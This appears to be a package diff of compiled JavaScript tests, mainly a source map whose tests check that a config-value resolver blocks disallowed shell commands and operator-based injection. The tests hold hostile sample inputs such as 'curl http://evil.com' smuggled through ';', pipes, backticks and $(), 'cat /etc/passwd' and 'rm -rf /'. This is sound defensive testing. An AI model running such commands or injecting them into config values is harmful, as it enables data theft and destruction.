{\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"pass\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"op\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"aws\"));\n\t});\n});\n\ndescribe(\"resolveConfigValue — non-command values\", () => {\n\tit(\"returns the literal value when it does not match an env var\", () => {\n\t\tconst result = resolveConfigValue(\"my-literal-key\");\n\t\tassert.equal(result, \"my-literal-key\");\n\t});\n\n\tit(\"returns the env var value when the config matches an env var name\", () => {\n\t\tprocess.env[\"TEST_RESOLVE_CONFIG_VAR\"] = \"env-value\";\n\t\tconst result = resolveConfigValue(\"TEST_RESOLVE_CONFIG_VAR\");\n\t\tassert.equal(result, \"env-value\");\n\t\tdelete process.env[\"TEST_RESOLVE_CONFIG_VAR\"];\n\t});\n});\n\ndescribe(\"resolveConfigValue — command allowlist enforcement\", () => {\n\tit(\"blocks a disallowed command and returns undefined\", () => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\n\t\ttry {\n\t\t\tconst result = resolveConfigValue(\"!curl http://evil.com\");\n\t\t\tassert.equal(result, undefined);\n\t\t\tassert.ok(stderrChunks.some((line) => line.includes(\"curl\")));\n\t\t} finally {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t}\n\t});\n\n\tit(\"blocks another disallowed command (rm)\", () => {\n\t\tconst result = resolveConfigValue(\"!rm -rf /tmp/test\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks a disallowed command with no arguments\", () => {\n\t\tconst result = resolveConfigValue(\"!wget\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"allows a safe command prefix to proceed to execution\", () => {\n\t\t// `pass` is unlikely to be installed in CI, so we just verify it does NOT\n\t\t// return undefined due to the allowlist check — it may return undefined if\n\t\t// the binary is absent, but the block path must not be taken.\n\t\t// We confirm by checking no \"Blocked\" message appears on stderr.\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\n\t\ttry {\n\t\t\tresolveConfigValue(\"!pass show nonexistent-entry-for-test\");\n\t\t\tconst blocked = stderrChunks.some((line) =>\n\t\t\t\tline.includes(\"Blocked disallowed command\")\n\t\t\t);\n\t\t\tassert.equal(blocked, false, \"pass should not be blocked by the allowlist\");\n\t\t} finally {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t}\n\t});\n});\n\ndescribe(\"resolveConfigValue — shell operator bypass prevention\", () => {\n\tit(\"blocks semicolon chaining (pass; malicious)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key; curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks pipe operator (pass | evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key | cat /etc/passwd\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks && chaining (pass && evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key && rm -rf /\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks || chaining (pass || evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key || curl evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks backtick subshell (pass `evil`)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show `curl evil.com`\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks $() subshell (pass $(evil))\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show $(curl evil.com)\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks output redirection (pass > file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key > /tmp/stolen\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks input redirection (pass < file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key < /dev/null\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"writes stderr warning when shell operators detected\", () => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\n\t\ttry {\n\t\t\tresolveConfigValue(\"!pass show key; curl evil.com\");\n\t\t\tassert.ok(stderrChunks.some((line) => line.includes(\"shell operators\")));\n\t\t} finally {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t}\n\t});\n});\n\ndescribe(\"resolveConfigValue — caching\", () => {\n\tit(\"caches the result of a blocked command\", () => {\n\t\tconst callCount = { n: 0 };\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tcallCount.n++;\n\t\t\treturn true;\n\t\t};\n\n\t\ttry {\n\t\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t\t// The block warning should only fire once; the second call hits the cache\n\t\t\t// before reaching the allowlist check, so stderr count is 1.\n\t\t\tassert.equal(callCount.n, 1);\n\t\t} finally {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t}\n\t});\n\n\tit(\"clearConfigValueCache resets cached entries\", () => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\n\t\ttry {\n\t\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t\tassert.equal(stderrChunks.length, 1);\n\n\t\t\tclearConfigValueCache();\n\n\t\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t\tassert.equal(stderrChunks.length, 2);\n\t\t} finally {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t}\n\t});\n});\n"]}
|
|
1
|
+
{"version":3,"file":"resolve-config-value.test.js","sourceRoot":"","sources":["../../src/core/resolve-config-value.test.ts"],"names":[],"mappings":"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","sourcesContent":["import { describe, it, beforeEach } from \"node:test\";\nimport assert from \"node:assert/strict\";\nimport {\n\tresolveConfigValue,\n\tclearConfigValueCache,\n\tSAFE_COMMAND_PREFIXES,\n} from \"./resolve-config-value.js\";\n\nbeforeEach(() => {\n\tclearConfigValueCache();\n});\n\ndescribe(\"SAFE_COMMAND_PREFIXES\", () => {\n\tit(\"exports the allowlist array\", () => {\n\t\tassert.ok(Array.isArray(SAFE_COMMAND_PREFIXES));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.length > 0);\n\t});\n\n\tit(\"includes expected credential tools\", () => {\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"pass\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"op\"));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.includes(\"aws\"));\n\t});\n});\n\ndescribe(\"resolveConfigValue — non-command values\", () => {\n\tit(\"returns the literal value when it does not match an env var\", () => {\n\t\tconst result = resolveConfigValue(\"my-literal-key\");\n\t\tassert.equal(result, \"my-literal-key\");\n\t});\n\n\tit(\"returns the env var value when the config matches an env var name\", () => {\n\t\tprocess.env[\"TEST_RESOLVE_CONFIG_VAR\"] = \"env-value\";\n\t\tconst result = resolveConfigValue(\"TEST_RESOLVE_CONFIG_VAR\");\n\t\tassert.equal(result, \"env-value\");\n\t\tdelete process.env[\"TEST_RESOLVE_CONFIG_VAR\"];\n\t});\n});\n\ndescribe(\"resolveConfigValue — command allowlist enforcement\", () => {\n\tit(\"blocks a disallowed command and returns undefined\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tconst result = resolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"curl\")));\n\t});\n\n\tit(\"blocks another disallowed command (rm)\", () => {\n\t\tconst result = resolveConfigValue(\"!rm -rf /tmp/test\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks a disallowed command with no arguments\", () => {\n\t\tconst result = resolveConfigValue(\"!wget\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"allows a safe command prefix to proceed to execution\", (t) => {\n\t\t// `pass` is unlikely to be installed in CI, so we just verify it does NOT\n\t\t// return undefined due to the allowlist check — it may return undefined if\n\t\t// the binary is absent, but the block path must not be taken.\n\t\t// We confirm by checking no \"Blocked\" message appears on stderr.\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!pass show nonexistent-entry-for-test\");\n\t\tconst blocked = stderrChunks.some((line) =>\n\t\t\tline.includes(\"Blocked disallowed command\")\n\t\t);\n\t\tassert.equal(blocked, false, \"pass should not be blocked by the allowlist\");\n\t});\n});\n\ndescribe(\"resolveConfigValue — shell operator bypass prevention\", () => {\n\tit(\"blocks semicolon chaining (pass; malicious)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key; curl http://evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks pipe operator (pass | evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key | cat /etc/passwd\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks && chaining (pass && evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key && rm -rf /\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks || chaining (pass || evil)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key || curl evil.com\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks backtick subshell (pass `evil`)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show `curl evil.com`\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks $() subshell (pass $(evil))\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show $(curl evil.com)\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks output redirection (pass > file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key > /tmp/stolen\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"blocks input redirection (pass < file)\", () => {\n\t\tconst result = resolveConfigValue(\"!pass show key < /dev/null\");\n\t\tassert.equal(result, undefined);\n\t});\n\n\tit(\"writes stderr warning when shell operators detected\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!pass show key; curl evil.com\");\n\t\tassert.ok(stderrChunks.some((line) => line.includes(\"shell operators\")));\n\t});\n});\n\ndescribe(\"resolveConfigValue — caching\", () => {\n\tit(\"caches the result of a blocked command\", (t) => {\n\t\tconst callCount = { n: 0 };\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tcallCount.n++;\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\t// The block warning should only fire once; the second call hits the cache\n\t\t// before reaching the allowlist check, so stderr count is 1.\n\t\tassert.equal(callCount.n, 1);\n\t});\n\n\tit(\"clearConfigValueCache resets cached entries\", (t) => {\n\t\tconst stderrChunks: string[] = [];\n\t\tconst originalWrite = process.stderr.write.bind(process.stderr);\n\t\tprocess.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {\n\t\t\tstderrChunks.push(chunk.toString());\n\t\t\treturn true;\n\t\t};\n\t\tt.after(() => {\n\t\t\tprocess.stderr.write = originalWrite;\n\t\t});\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(stderrChunks.length, 1);\n\n\t\tclearConfigValueCache();\n\n\t\tresolveConfigValue(\"!curl http://evil.com\");\n\t\tassert.equal(stderrChunks.length, 2);\n\t});\n});\n"]}
|
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import assert from "node:assert/strict";
|
|
2
|
-
import { describe, it } from "node:test";
|
|
2
|
+
import { describe, it, afterEach } from "node:test";
|
|
3
3
|
import { mkdtempSync, rmSync } from "node:fs";
|
|
4
4
|
import { join } from "node:path";
|
|
5
5
|
import { tmpdir } from "node:os";
|
|
@@ -19,43 +19,39 @@ function makeAssistantMessage(input, output, cacheRead = 0, cacheWrite = 0, cost
|
|
|
19
19
|
};
|
|
20
20
|
}
|
|
21
21
|
describe("SessionManager usage totals", () => {
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
const manager = SessionManager.create(dir, dir);
|
|
26
|
-
manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] });
|
|
27
|
-
manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
|
|
28
|
-
manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
|
|
29
|
-
assert.deepEqual(manager.getUsageTotals(), {
|
|
30
|
-
input: 17,
|
|
31
|
-
output: 9,
|
|
32
|
-
cacheRead: 4,
|
|
33
|
-
cacheWrite: 2,
|
|
34
|
-
cost: 0.35,
|
|
35
|
-
});
|
|
36
|
-
}
|
|
37
|
-
finally {
|
|
22
|
+
let dir;
|
|
23
|
+
afterEach(() => {
|
|
24
|
+
if (dir) {
|
|
38
25
|
rmSync(dir, { recursive: true, force: true });
|
|
39
26
|
}
|
|
40
27
|
});
|
|
28
|
+
it("tracks assistant usage incrementally without rescanning entries", () => {
|
|
29
|
+
dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
|
|
30
|
+
const manager = SessionManager.create(dir, dir);
|
|
31
|
+
manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] });
|
|
32
|
+
manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
|
|
33
|
+
manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
|
|
34
|
+
assert.deepEqual(manager.getUsageTotals(), {
|
|
35
|
+
input: 17,
|
|
36
|
+
output: 9,
|
|
37
|
+
cacheRead: 4,
|
|
38
|
+
cacheWrite: 2,
|
|
39
|
+
cost: 0.35,
|
|
40
|
+
});
|
|
41
|
+
});
|
|
41
42
|
it("resets totals when starting a new session", () => {
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
});
|
|
55
|
-
}
|
|
56
|
-
finally {
|
|
57
|
-
rmSync(dir, { recursive: true, force: true });
|
|
58
|
-
}
|
|
43
|
+
dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
|
|
44
|
+
const manager = SessionManager.create(dir, dir);
|
|
45
|
+
manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
|
|
46
|
+
assert.equal(manager.getUsageTotals().input, 5);
|
|
47
|
+
manager.newSession();
|
|
48
|
+
assert.deepEqual(manager.getUsageTotals(), {
|
|
49
|
+
input: 0,
|
|
50
|
+
output: 0,
|
|
51
|
+
cacheRead: 0,
|
|
52
|
+
cacheWrite: 0,
|
|
53
|
+
cost: 0,
|
|
54
|
+
});
|
|
59
55
|
});
|
|
60
56
|
});
|
|
61
57
|
//# sourceMappingURL=session-manager.test.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"session-manager.test.js","sourceRoot":"","sources":["../../src/core/session-manager.test.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,oBAAoB,CAAC;AACxC,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,WAAW,CAAC;
|
|
1
|
+
